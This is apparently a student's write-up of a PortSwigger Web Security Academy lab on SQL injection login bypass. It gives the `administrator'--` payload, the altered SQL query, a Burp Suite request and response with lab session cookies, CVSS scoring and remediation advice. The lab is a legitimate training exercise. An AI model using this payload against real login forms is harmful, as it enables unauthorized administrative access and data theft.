

SQL injection vulnerability allowing login bypass

Topic: SQL Injection | Difficulty: Apprentice

Description

The login form passes user-supplied credentials directly into a SQL query without sanitization or parameterization. By injecting a comment sequence into the username field an attacker can short-circuit the password check and log in as any user, including the administrator account.

Steps to Exploit

1. Navigate to the application login page.
2. Enter `administrator'--` in the username field.
3. Enter any arbitrary value in the password field.
4. Submit the login form.
5. Observe that access is granted as the administrator user.

Proof of Concept

Payload (username field):

```
administrator'--
```

Original Query:

```
SELECT * FROM users WHERE username = 'wiener' AND password = 'password'
```

Modified Query:

```
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
```

Impact

- Complete authentication bypass for any known username.
- Full administrative access to the application.
- Unauthorized access to sensitive user data and configurations.
- Potential for further privilege escalation and data exfiltration.

Mitigation / Remediation

1. Use parameterized queries or ORM frameworks for all database access.
2. Implement multi-factor authentication to limit impact of credential bypass.
3. Apply server-side input validation on all login parameters.
4. Log and monitor all failed and successful authentication attempts.

CVSS Score

CVSS v3.1: 9.8 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS Justification

- Attack Vector: Network - exploitable remotely with no prerequisites.
- Attack Complexity: Low - trivial single-payload injection.
- Privileges Required: None - no account needed.
- User Interaction: None.
- Confidentiality: High - full access to all application data.
- Integrity: High - attacker can modify data as administrator.
- Availability: High - attacker could delete data or disrupt service.

SQLi Login Bypass

Proof of Concept — Exploitation Evidence

1. Burp Suite — Injected Payload & Server Response

The screenshot displays the Burp Suite interface with the Repeater tab selected. The target URL is `https://0a3100b103e50816802bf344009c0057.web-security-academy.net`. The request is a POST to `/login` with the following details:

- Host: `0a3100b103e50816802bf344009c0057.web-security-academy.net`
- Cookie: `session=ShL8cukzwDYfjKuLk1j7V5GINKc7dyb1`
- Content-Length: 78
- Cache-Control: `max-age=0`
- Sec-Ch-Ua: `"Not-A.Brand";v="24", "Chromium";v="146"`
- Sec-Ch-Ua-Mobile: 0
- Sec-Ch-Ua-Platform: `"macOS"`
- Accept-Language: `en-GB,en;q=0.9`
- Origin: `https://0a3100b103e50816802bf344009c0057.web-security-academy.net`
- Content-Type: `application/x-www-form-urlencoded`
- Upgrade-Insecure-Requests: 1
- User-Agent: `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36`
- Accept: `text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7`
- Sec-Fetch-Site: `same-origin`
- Sec-Fetch-Mode: `navigate`
- Sec-Fetch-User: 0
- Sec-Fetch-Dest: `document`
- Referer: `https://0a3100b103e50816802bf344009c0057.web-security-academy.net/login`
- Accept-Encoding: `gzip, deflate, br`
- Priority: `u=0, i`

The request body contains the payload: `csrf=fnom03ciunsEbC60Ehq6qnBVFSeK7xtU&username=administrator'---&password=hello`.

The response is an HTTP/2 302 Found status with the following details:

- Location: `/my-account?id=administrator`
- Set-Cookie: `session=axBvT15hhuvEmzzBNvpDWuzrsyrQ5DJC; Secure; HttpOnly; SameSite=None`
- X-Frame-Options: `SAMEORIGIN`
- Content-Length: 0

The Inspector panel on the right shows the request and response details, including request attributes, query parameters, body parameters, cookies, headers, and response headers.

Request intercepted/modified in Burp Suite showing the payload and the resulting response.

2. Lab Solved Confirmation

Lab: SQL injection vulnerability

SQL injection vulnerability all

0a3100b103e50816802bf344009c0057.web-security-academy.net/login

WebSecurity Academy

SQL injection vulnerability allowing login bypass

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills!

Continue learning >>

Home | My account

Login

Username

Password

Log in

PortSwigger lab status changed to "Solved" after exploitation.